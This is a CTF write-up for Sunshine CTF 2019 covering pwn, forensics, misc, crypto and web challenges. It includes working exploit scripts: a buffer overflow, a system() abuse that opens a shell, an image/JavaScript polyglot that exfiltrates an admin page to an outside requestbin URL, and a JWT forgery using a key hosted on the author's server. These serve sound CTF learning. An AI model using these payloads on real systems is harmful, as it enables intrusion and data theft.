Sunshine CTF 2019 took place from 30 March, 9:00 AM to 31 March, 9:00 PM EST.
I played this CTF in zer0pts
and got 1350pts out of the 3255pts we gained.
Thanks @SunshineCTF for holding a CTF.
- [Pwn 50] Return To Mania
- [Pwn 200] CyberRumble
- [Forensics 100] Golly Gee Willikers
- [Forensics 250] Sonar
- [Misc 100] Big Bad
- [Misc 75] Middle Ocean
- [Misc 75] Brainmeat
- [Crypto 200] ArbCrypt
- [Web 300] Enter The Polygon 2
[Pwn 50] Return To Mania
Description: To celebrate her new return to wrestling, Captn Overflow authored this challenge to enter the ring Server: nc ret.sunshinectf.org 4301 File: return-to-mania
It's a 32-bit binary with PIE enabled, SSP and RELRO disabled.
[*] '/home/ptr/sunshine/return_to_mania/return-to-mania' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
The program gives us the address for welcome
function which is called by main.
So, we can calculate the process base.
In the function we can send as many bytes as we want through scanf
.
It's a simple buffer overflow.
Also, there's a function named mania
, which shows us the contents of flag.txt
.
What we have to do is a simple overflow to return to mania
.
from ptrlib import * elf = ELF("./return-to-mania") #sock = Process("./return-to-mania") sock = Socket("ret.sunshinectf.org", 4301) sock.recvuntil("welcome(): ") addr_welcome = int(sock.recvline(), 16) proc_base = addr_welcome - elf.symbol("welcome") addr_mania = proc_base + elf.symbol("mania") dump("proc_base = " + hex(proc_base)) payload = b'A' * 0x16 payload += p32(addr_mania) sock.sendline(payload) sock.interactive()
[Pwn 200] CyberRumble
Description: Hey you! You're a hacker, right? So am I! Or, at least I thought I was. You see, I'm a big fan of The Undertaker, and I was trying to help him out. He's got an upcoming Hell in a Cell match against Mankind. I wrote some malware I named Undertaker C2 and infected the computers of Mankind's manager with it. The problem is that I accidentally used an old version of this malware, which was before I tested the code and got the bugs worked out. So none of the functionality seems to work! I also lost the source code for this malware. I'm in a real bind, because I need to get information off of that computer to see what Mankind is planning. Here's the malware implant I placed on his computer, please see if you can use it to retrieve any useful information! Server: nc rumble.sunshinectf.org 4300 File: CyberRumble
It's a 64-bit binary with RELRO, SSP, PIE enabled.
$ checksec CyberRumble [*] '/home/ptr/sunshine/cyber_rumble/CyberRumble' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
As I analysed the binary with IDA, I found that the program receives a command and an argument. There are some commands available.
Command | Process |
---|---|
chokeslam arg |
puts a version info |
tombstone filename |
opens a file, reads the contents with fscanf(fd, "%s", buf) , and prints the buffer |
oldschool shellcode |
writes the shellcode to the memory and makes it only readable, prints the address and runs it. |
last_ride cmd |
calls system(*cmd) and exits |
i_am_a_hacker_just_give_me_the_flag |
system("cat flag") |
The contents of the flag
is a dummy and it says the real flag is written in flag.txt
.
I tried tombstone flag.txt
but only could see the first part of the flag.
This is because the flag contains a whitespace and fscanf only reads until it comes.
It seems last_ride
is tempting but it interprets the argument as a pointer (to a string pointer).
However, we can store arbitrary data into heap by oldschool
and get the pointer.
So, what we have to do is oldschool A/bin/sh
and oldschool &(/bin/sh)
.
Just make sure not to send y
or n
when we are asked to run the shellcode.
y
executes the shellcode and the program exits because of the segmentation fault, and n
unmaps the shellcode and the data will be lost.
Also, make sure to put a byte before /bin/sh
in order not to make the least byte of the address zero.
This is because scanf
doesn't read NULL and also we have to make the highest byte of the argument for oldschool zero.
from ptrlib import * sock = Socket("rumble.sunshinectf.org", 4300) #sock = Socket("127.0.0.1", 4300) #_ = input() # cmd shellcode = b"A" + b"sh" sock.recvuntil("> ") sock.sendline(b"old_school " + shellcode) sock.recvuntil("written to ") addr_shellcode = int(sock.recvline().rstrip().rstrip(b"."), 16) sock.recvuntil("[y/n] ") sock.sendline("w") dump("addr_shellcode = " + hex(addr_shellcode)) # run shellcmd = p64(addr_shellcode + 0x1) shellcmd = shellcmd.replace(b'\x00', b'') sock.recvuntil("> ") sock.sendline(b"last_ride " + shellcmd) sock.interactive()
Perfect.
$ python solve.py [+] Socket: Successfully connected to rumble.sunshinectf.org:4300 [ptrlib] addr_shellcode = 0x7f7c53948000 [ptrlib]$ ls [ptrlib]$ lsCyberRumble flag flag.txt cat flag.txt [ptrlib]$ sun{the chair and thumbtacks are ready, but the roof is a little loose}
[Forensics 100] Golly Gee Willikers
Description: Someone sent me this weird file and I don't understand it. It's freaking me out, this isn't a game! Please help me figure out what's in this file. File: golly_gee_willkers.txt
It's an ascii text.
x = 0, y = 0, rule = B3/S23 3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob3ob 3ob3ob3ob3ob3ob3ob3ob3ob3o$obobobobobobobobobobobobobobobobobobobobobo bobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobobo ...
When I tried solving this challenge, @theoldmoon0602 had already found out this is an RLE for Game Of Life. I imported the RLE in this site but I just got an ascii table. (This site)http://www.conwaylife.com/wiki/Run_Length_Encoded explains well about the RLE format. It says:
Anything after the final ! is ignored.
The challenge file has !
in the middle, so the code after !
may be the flag.
I copied the code after !
and imported it, found the flag.
[Forensics 250] Sonar
Description: We think a wrestler called Sonar wants to rebrand and go to a competitor. We have to reason to believe that he was sending them his new wrestling name, lucky that our next-gen firewall was capturing the traffic during the time where he sent that info out. Unfortunately our staff cannot make heads or tails of it. Mind looking at it for us? File: sonar.tar.gz
I opened the pcap file and saw the protocol hierarchy. It seems there are HTTP, DNS, and ICMP packets mainly.
As I looked over the ICMP packets, I found the data were strange. The packet length of ICMP packets are different from those of each other. I guessed the length is the ascii code for the flag. I gathered the packet size and wrote a script to restore the flag.
size = [165, 167, 160, 173, 105, 135, 149, 122, 147, 145, 126, 99, 116, 164, 101, 175] flag = "" for s in size: flag += chr(s - 50) print(flag)
[Misc 100] Big Bad
Description: The Big Bad Wolf has entered the ring. He can HUFF, he can puff, but can he blow this house down? File: BigBad.png
The image is obviously a tree for Huffman code. However there is no encoded bytes.
As I opened the image in stegsolve, I found the LSB has the bytes. I wrote a script to decode the bytes.
from PIL import Image img = Image.open("BigBad.png") enc = "" for x in range(img.size[0]): c = img.getpixel((x, 0)) enc += str(c[0] & 1) def huffmanDecode(dictionary, text): res = "" while text: for k in dictionary: if text.startswith(k): res += dictionary[k] text = text[len(k):] break else: break return res table = { "000": "s", "0010": "u", "0011": "_", "010": "0", "0110": "d", "0111": "9", "1000": "5", "10010": "n", "10011": "h", "10100": "l", "10101": "a", "10110": "e", "10111": "b", "1100": "1", "11010": "{", "11011": "}", "11100": "r", "11101": "c", "11110": "k", "11111": "3" } print(huffmanDecode(table, enc))
[Misc 75] Middle Ocean
Description: I made a deal with Hulch Hogan (Hulk Hogan's brother) for a treasure map can you get the treaure for me? File: treasure_map.txt
I had no idea what the file is.
CMM72222+22 CQC52222+22 CH9J2222+22 9H9M2222+22 8PQ42222+22 9P4G2222+22 8Q572222+22
I googled the first line and found this map.
OK, it's middle ocean and the latitude and the longitude are the ascii codes.
l = [83, 85, 78, 123, 77, 52, 57, 53, 45, 102, 52, 110, 33, 125] flag = "" for c in l: flag += chr(c) print(flag)
[Misc 75] Brainmeat
Description: I am having a beef with someone that is so bad I cant even think! He sent me a message but I think he was having a stroke. Please decipher the message while I beat them up. File: brainmeat.txt
The file contains some character such as +
, [
, >
, which are used in the brackfuck language.
I posted the file to an online interpreter and found the flag.
[Crypto 200] ArbCrypt
Description: It's pretty ARB-itrary. France0110. File: ciphertext.txt
There are many A
, R
, B
in the ciphertext.
$ cat ciphertext.txt | base64 -d | hexdump -C 00000000 04 17 04 0c 02 42 0c 13 08 03 15 07 03 78 10 07 |.....B.......x..| 00000010 11 17 0b 07 42 03 04 0f 0e 1c 42 19 13 0d 6b 06 |....B.....B...k.| 00000020 07 05 18 03 0d 07 0d 05 10 16 1b 16 42 00 1a 14 |............B...| 00000030 00 78 10 05 11 04 0f 02 10 0e 0b 42 0b 1f 03 15 |.x.........B....| 00000040 1e 11 6b 1c 0b 18 52 16 11 14 15 07 17 42 19 08 |..k...R......B..| 00000050 0f 04 10 11 0a 18 01 6b 16 12 15 14 11 02 02 06 |.......k........| 00000060 0d 04 42 17 1c 18 02 00 04 19 78 07 0e 18 11 0a |..B.......x.....| 00000070 14 0c 0a 18 03 02 52 13 0d 00 16 15 08 06 41 17 |......R.......A.| 00000080 0d 14 00 10 41 1d 0b 19 1b 16 02 08 42 02 14 1a |....A.......B...| ...
Maybe it's xored with ARB
or something like that.
After a few attempts, I found the key was arb
.
import base64 with open("ciphertext.txt", "rb") as f: b64 = f.read() cipher = base64.b64decode(b64) key = b"arb" flag = "" for i in range(len(cipher)): flag += chr(cipher[i] ^ key[i % len(key)]) print(flag)
But the output is still encoded in some ways.
$ python solve.py eefmp majbgeb rfcuju bvmon xao tedjaluodbtzd ahva rdcfnproy jmatls niy tpfwfe xzmebskjc dptfscpdlv vnzcrfx eojskfnkjac qlrttzd eourr oixitcz cfx drnn aftkjsfo gfpdsze kirfvgy fvvsykiieh cvotvs wyp sgjdvsy tpntvbzoe gblv mitlikz-sgmik sedprjf vzuadjn rgtvs ffscv blifauz nvttve hlnae xief slo{aic_yfv_hrqpp_uo_jfe_df_1001130519}
I tried some substitution ciphers and found it was encrypted with the Vigenere cipher. This site solved it.
enemy lasagna robust below wax semiautomatic aqua accompany slacks why coffee gymnastic motorcycle unibrow existential plastic extra nightly cow damn jettison goodbye through everything center who spidery concubine pale lickity-split remorse vitamin after force already nested human wine sun{arb_you_happy_to_see_me_1001130519}
[Web 300] Enter The Polygon 2
Description: The Undertaker is piledriving our old authz for some J. You're going to need to finish the first challenge if you wanna smell what the rock is cooking. URL: http://img.sunshinectf.org
A team member @st98 had already solved Enter The Polygon 1 and he wrote a useful script to generate an image to run a code.
HEADER = b'\x42\x4D\x2F\x2A\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00\x32\x00\x00\x00\x32\x00\x00\x00\x01\x00\x18\x00\x00\x00\x00\x00\xB0\x1D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' SCRIPT = b'''*/=1; path="http://nginx/admin"; x=new XMLHttpRequest(); x.open('GET', path, false); x.send(null); (new Image).src = 'http://requestbin.net/r/18a2by31?hoge=' + encodeURIComponent(x.responseText); /*'''.replace(b"\n", b"") with open('result.bmp', 'wb') as f: f.write(HEADER) f.write(SCRIPT) f.write(b'A' * (7652 - (len(HEADER) + len(SCRIPT))) + b'*/')
Also, he found there was a JWT session like this:
{"user":"therock","sig":"http://nginx/static/secret.key","role":"user"}
This is used in /admin
page.
He also uncovered that it accesses to the sig
url if sig
contains a word nginx
.
So, I began with such a plentiful clues.
I guessed that it downloads sig
url and uses it as a key for the JWT signature.
I uploaded a key to my server and signed my session with the key.
Also, I changed the role to admin
.
import base64 import jwt payload = { "user":"therock", "sig":"http://150.95.139.51/nginx/secret.key", "role":"admin" } encoded = jwt.encode(payload, key=base64.b64encode(b"A" * 32), algorithm='HS256') print(encoded)
I accessed to /admin
with the session set and found the flag.